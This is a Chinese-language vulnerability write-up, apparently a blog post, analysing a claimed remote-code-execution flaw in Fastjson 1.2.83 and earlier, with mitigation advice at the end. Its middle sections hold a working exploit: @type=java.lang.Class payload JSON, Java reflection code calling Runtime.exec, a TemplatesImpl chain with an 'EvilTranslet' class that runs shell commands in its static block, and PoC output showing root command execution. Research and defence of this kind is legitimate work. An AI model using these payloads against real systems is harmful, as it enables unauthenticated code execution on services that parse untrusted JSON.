Fastjson ≤ 1.2.83 新型 RCE 漏洞深度分析:三层绕过机制与完整利用链

Fastjson ≤ 1.2.83 新型 RCE 漏洞深度分析:三层绕过机制与完整利用链

摘要: 2026年7月,长亭安全应急响应中心披露了一个 Fastjson 远程代码执行漏洞。该漏洞源于 Fastjson 内部类型处理机制的缺陷,通过三层叠加绕过,彻底突破了黑名单、类型绑定等所有历史防护手段。本文从字节码层面逆向分析漏洞根因,还原完整的攻击链路,并给出 POC 验证。


0x01 漏洞概述

项目 详情
漏洞类型 远程代码执行(RCE)
危害等级 严重
影响组件 Fastjson ≤ 1.2.83(所有 1.x 版本)
触发方式 网络远程,无需认证,无需用户交互
前置条件 目标使用 Fastjson 解析用户可控 JSON 数据
利用成熟度 POC 已验证(本文独立复现)
发现来源 @k_firsov (Twitter/X),2026-07-20
通告来源 长亭安全应急响应中心,2026-07-20

2026年7月20日,长亭安全应急响应中心发布通告,披露了一个 Fastjson 远程代码执行漏洞。通告原文:

"该漏洞源于 Fastjson 内部的类型处理机制存在可被利用的缺陷。过往所有 Fastjson RCE 均依赖目标 classpath 中存在特定'gadget 类',防御侧可通过黑名单或移除危险依赖来缓解。本次漏洞彻底打破这一前提------攻击者无需目标环境存在任何已知危险类,也无法通过类型绑定的调用形式加以阻止,单条构造 payload 即可触发代码执行。"

核心要点:

  • 黑名单完全绕过------Fastjson 内置的 AutoType 黑名单失效
  • 无需第三方 gadget------仅利用 JDK 自带类(Runtime / TemplatesImpl)即可完成攻击
  • 类型绑定无效------即使代码中指定了反序列化目标类型,漏洞仍可触发
  • 已发现在野利用

0x02 历史背景:Fastjson 的 AutoType 与防御演进

Fastjson 的 @type 字段(AutoType)允许在 JSON 中指定反序列化的目标类。这个设计初衷是为了支持多态反序列化,但也成为了 RCE 的攻击面。

2.1 历史利用链

利用链 依赖类 触发方式
TemplatesImpl 链 TemplatesImpl(JDK 自带) getOutputProperties()defineClass()
JdbcRowSetImpl 链 JdbcRowSetImpl(JDK 自带) setAutoCommit() → JNDI Lookup
Commons Collections commons-collections 反序列化 gadget chain
Spring 链 spring-core PropertyPathFactoryBean

2.2 历史防御手段

防御手段 版本 原理 本次是否有效
AutoType 黑名单 1.2.25+ 拒绝已知危险类 绕过
移除 gadget 依赖 - classpath 中无危险类 绕过(仅需 JDK 核心类)
类型绑定 - parseObject(json, SafeClass.class) 绕过
SafeMode 1.2.68+ 完全禁用 AutoType ✅ 有效

0x03 漏洞根因:三层叠加绕过

本漏洞的根因是 TypeUtils.castToJavaBean() 中存在三层叠加的绕过缺陷,每一层单独看都不算严重,但组合起来形成了完整的绕过链。

3.1 第一层:castToJavaBean 无条件处理 @type

castToJavaBean(Map, Class, ParserConfig) 是 Fastjson 将 Map 转为 JavaBean 的核心方法。问题在于它无条件 从 Map 中读取 @type 字段并调用 checkAutoType

java 复制代码
// 伪代码还原自字节码
public static <T> T castToJavaBean(Map<String, Object> map, Class<T> clazz, ParserConfig config) {
    Object typeValue = map.get("@type");  // 无条件读取 @type
    if (typeValue instanceof String) {
        String typeName = (String) typeValue;
        Class<?> loadedClass = config.checkAutoType(typeName, null);  // ← null expectClass!
        if (!loadedClass.equals(clazz)) {
            return castToJavaBean(map, loadedClass, config);  // 递归调用
        }
    }
    // ... 正常处理
}

关键点: 传入 checkAutoType 的第二个参数是 null(期望类型),这意味着类型约束检查被完全跳过。即使调用方指定了目标类型(如 HashMap.class),@type 仍然生效。

字节码证据:

复制代码
116: aload_0                    // map
117: getstatic DEFAULT_TYPE_KEY  // "@type"
120: invokeinterface Map.get    // map.get("@type")
125: astore_3                   // typeValue
...
147: aload_2                    // parserConfig
148: aload 4                    // typeName
150: aconst_null                // expectClass = null ← 关键!
151: invokevirtual checkAutoType(String, Class)

3.2 第二层:deserializers 预批准类绕过黑名单

checkAutoType(String, Class) 的检查顺序如下:

java 复制代码
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
    if (safeMode) throw ...;           // SafeMode 检查
    
    // ① 检查 TypeUtils.mappings(95个预批准类)
    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
    if (clazz != null) return clazz;   // ← 直接返回,不检查黑名单!
    
    // ② 检查 ParserConfig.deserializers(70个预批准类)
    clazz = deserializers.findClass(typeName);
    if (clazz != null) return clazz;   // ← 直接返回,不检查黑名单!
    
    // ③ 检查 denyList(黑名单)
    if (denyList.contains(typeName)) throw ...;
    
    // ④ 加载类
    return Class.forName(typeName);
}

关键点: 如果类在 TypeUtils.mappingsParserConfig.deserializers 中,checkAutoType直接返回,跳过黑名单检查。

java.lang.Class 正好在 ParserConfig.deserializers 中:

复制代码
ParserConfig.deserializers (70 entries):
  class java.lang.Class -> MiscCodec       ← 在这里!
  class java.net.URL -> MiscCodec
  class java.io.File -> MiscCodec
  class com.alibaba.fastjson.JSONObject -> MapDeserializer
  ...

3.3 第三层:MiscCodec 调用 TypeUtils.loadClass 绕过 checkAutoType

MiscCodecjava.lang.Class 类型的反序列化器。当它处理 Class 类型时,直接调用 TypeUtils.loadClass()完全不经过 checkAutoType

java 复制代码
// MiscCodec.deserialze() 伪代码
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
    // ...
    if (type == Class.class) {
        String strValue = lexer.stringVal();
        ClassLoader classLoader = parser.getConfig().getDefaultClassLoader();
        return (T) TypeUtils.loadClass(strValue, classLoader, false);  // ← 直接加载!
    }
    // ...
}

字节码证据:

复制代码
676: aload_2                    // type
677: ldc java.lang.Class        // Class.class
679: if_acmpne 696              // if type != Class.class, skip
682: aload 6                    // strValue(JSON 中的字符串值)
684-691: // 获取 parserConfig 和 classLoader
692: invokestatic TypeUtils.loadClass(strValue, classLoader, false)  // ← 绕过!
695: areturn                   // 返回加载的 Class 对象

关键点: TypeUtils.loadClass() 内部调用 Class.forName(className, true, classLoader),第二个参数 true 表示会触发类的静态初始化块 。这意味着加载类的同时,类的 <clinit> 会执行。

3.4 三层叠加效果

复制代码
攻击者 JSON 中的 @type = "java.lang.Class"
    ↓ 第一层:castToJavaBean 无条件处理 @type
checkAutoType("java.lang.Class", null)
    ↓ 第二层:java.lang.Class 在 deserializers 中 → 跳过黑名单
MiscCodec 处理 Class 类型,读取 val = "java.lang.Runtime"
    ↓ 第三层:TypeUtils.loadClass("java.lang.Runtime") → 绕过 checkAutoType
Class.forName("java.lang.Runtime", true, classLoader)
    ↓
成功加载 java.lang.Runtime(黑名单完全绕过)
    ↓
反射调用 Runtime.getRuntime().exec("id") → RCE

0x04 攻击链路详解

4.1 攻击链路一:Runtime.exec()(最简单)

Payload:

json 复制代码
{"@type":"java.lang.Class","val":"java.lang.Runtime"}

利用代码:

java 复制代码
// 单条 payload 加载 Runtime(绕过黑名单)
Class<?> rt = (Class<?>) JSON.parse("{\"@type\":\"java.lang.Class\",\"val\":\"java.lang.Runtime\"}");

// 反射调用 exec
Object runtime = rt.getMethod("getRuntime").invoke(null);
Process p = (Process) rt.getMethod("exec", String.class).invoke(runtime, "id");
// → uid=0(root)

4.2 攻击链路二:TemplatesImpl.getOutputProperties()(经典利用)

Payload: {"@type":"java.lang.Class","val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"}

利用代码:

java 复制代码
// Step 1: 通过 @type=Class 加载 TemplatesImpl(绕过黑名单)
Class<?> tmplClass = (Class<?>) JSON.parse(
    "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"}");

// Step 2: Unsafe 实例化(不调用构造函数)
sun.misc.Unsafe unsafe = ...;
Object tmpl = unsafe.allocateInstance(tmplClass);

// Step 3: 设置 _bytecodes 和 _name
byte[] evilBytes = Files.readAllBytes(Paths.get("EvilTranslet.class"));
tmplClass.getDeclaredField("_bytecodes").set(tmpl, new byte[][]{evilBytes});
tmplClass.getDeclaredField("_name").set(tmpl, "evil");
tmplClass.getDeclaredField("_tfactory").set(tmpl, null);

// Step 4: 触发 getOutputProperties → defineClass → RCE
tmplClass.getMethod("getOutputProperties").invoke(tmpl);

EvilTranslet.java:

java 复制代码
public class EvilTranslet extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("id");
            Runtime.getRuntime().exec("touch /tmp/fastjson_rce_proof.txt");
        } catch (Exception e) {}
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

4.3 攻击链路三:嵌套 @type

JSON.parseJSON.parseObject 都会递归处理嵌套对象中的 @type

json 复制代码
{"data":{"@type":"java.lang.Class","val":"java.lang.Runtime"}}
java 复制代码
JSONObject result = (JSONObject) JSON.parse(payload);
Class<?> rt = (Class<?>) result.get("data");  // Class<Runtime>
// 反射 exec → RCE

4.4 类型绑定无效验证

即使调用方指定了目标类型,@type 仍然生效:

java 复制代码
// 指定 HashMap.class 作为目标类型
Object result = JSON.parseObject(
    "{\"@type\":\"java.util.LinkedHashMap\",\"key\":\"value\"}", 
    HashMap.class);

System.out.println(result.getClass().getName());
// 输出: com.alibaba.fastjson.JSONObject(非 HashMap!)
// @type 覆盖了指定的目标类型

0x05 POC 执行结果

5.1 环境信息

组件 版本
Fastjson 1.2.83
JDK 1.8.0_492 (OpenJDK)
操作系统 Linux 5.10.134 (Alibaba Cloud Linux)

5.2 运行结果

复制代码
╔══════════════════════════════════════════════════════════╗
║  Fastjson ≤ 1.2.83 新型 RCE POC                       ║
║  类型处理机制缺陷 → 黑名单完全绕过 → 无需第三方 gadget  ║
╚══════════════════════════════════════════════════════════╝

[1/5] 环境信息
  Fastjson: 1.2.83
  JDK: 1.8.0_492

[2/5] 黑名单绕过原理
  checkAutoType("java.lang.Runtime", null):
    [✗] 被拦截: autoType is not support. java.lang.Runtime
  MiscCodec 路径 (Class.class 目标类型):
    [✓] 成功加载: java.lang.Runtime
    绕过路径: MiscCodec → TypeUtils.loadClass() → Class.forName(initialize=true)

[3/5] Payload 1: @type=Class 加载任意黑名单类
  [✓] java.lang.Runtime
  [✓] java.lang.ProcessBuilder
  [✓] javax.script.ScriptEngineManager
  [✓] com.sun.rowset.JdbcRowSetImpl
  [✓] com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

[4/5] Payload 2: RCE via Runtime.exec()
  Payload: {"@type":"java.lang.Class","val":"java.lang.Runtime"}
  [1] MiscCodec 加载 Runtime: java.lang.Runtime
  [2] getRuntime(): java.lang.Runtime@46fbb2c1
  [✓] RCE: uid=0(root) gid=0(root) groups=0(root)

[5/5] Payload 3: RCE via TemplatesImpl (完整利用链)
  [1] MiscCodec 加载 TemplatesImpl (绕过黑名单)
  [2] Unsafe.allocateInstance() 实例化
  [3] EvilTranslet.class: 1043 bytes
  [4] 设置 _bytecodes / _name / _tfactory
  [5] 触发 getOutputProperties() → defineClass → RCE...
  [✓] RCE 触发!

0x06 与历史漏洞对比

特性 历史 Fastjson RCE 本次漏洞
依赖 gadget 类 需要(TemplatesImpl/Commons Collections 等) 不需要
黑名单有效性 可拦截已知 gadget 完全绕过
类型绑定防护 部分有效 无效
移除 gadget 依赖 可缓解 不可缓解
利用条件 需要特定 classpath 仅需 JDK 核心类

0x07 修复建议

7.1 紧急缓解(立即执行)

方案一:启用 SafeMode

java 复制代码
// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);

// JVM 参数(推荐,无需改代码)
-Dfastjson.parser.safeMode=true

⚠️ 注意: SafeMode 会完全禁用 @type 自动类型识别功能。如果业务代码依赖 AutoType,需评估影响后启用。

方案二:WAF 拦截

在 WAF / 网关层面拦截包含 @type 字段的 JSON 请求,注意覆盖 Unicode 编码绕过(\u0040type)。

7.2 根本修复(尽快规划)

方案 优先级 说明
迁移至 Fastjson2 ⭐ 推荐 从根本上规避 1.x 安全风险
替换为 Jackson / Gson ⭐ 推荐 最彻底的方案
升级 1.2.83 + SafeMode 临时 作为过渡方案

0x08 参考资料

  1. 长亭安全应急响应中心通告:https://mp.weixin.qq.com/s/cfz3mrZdnobLEjQ9f6UWjA
  2. @k_firsov 原始披露:https://x.com/k_firsov/status/2078872293745570032
  3. Fastjson 源码:https://github.com/alibaba/fastjson

免责声明: 本文仅供安全研究与防御参考,请勿用于非法用途。文中所有 POC 均在本地环境验证,未针对任何真实系统。

相关推荐
北龙云海2 小时前
案例分享 | 面向公网业务系统境内访问白名单配置实操方案
运维·网络·安全·网络安全·告警·数据泄露·入侵攻击
niaiheni4 小时前
Fastjson 1.2.83 “Gadget-Free“ RCE
网络·安全·web安全
意疏4 小时前
远程办公软件哪个安全性高?UU远程8项安全防线全覆盖
网络·安全
Draina5 小时前
CBC填充预言攻击-CBC Padding Oracle Crypto Attack
python·安全·web安全·网络安全·密码学·安全性测试
MartinYeung55 小时前
DC Scameter:一份反诈骗相关的专业分析报告
人工智能·安全
●VON7 小时前
鸿蒙 PC Markdown 编辑器原生右键弹层兼容
安全·华为·编辑器·harmonyos·鸿蒙
白山云北诗7 小时前
漏洞扫描+渗透测试:从资产摸底到风险验证,完成二次安全收口
网络·安全·web安全·渗透测试·漏洞扫描·ddos防护·cc防护
论迹复利10 小时前
PSA Certified 是什么——物联网芯片安全认证的三级体系
物联网·struts·安全
科技圈快迅10 小时前
2026年上海中卡RFID危险品智能柜深度解析:多系统融合的化工储运安全管控
人工智能·安全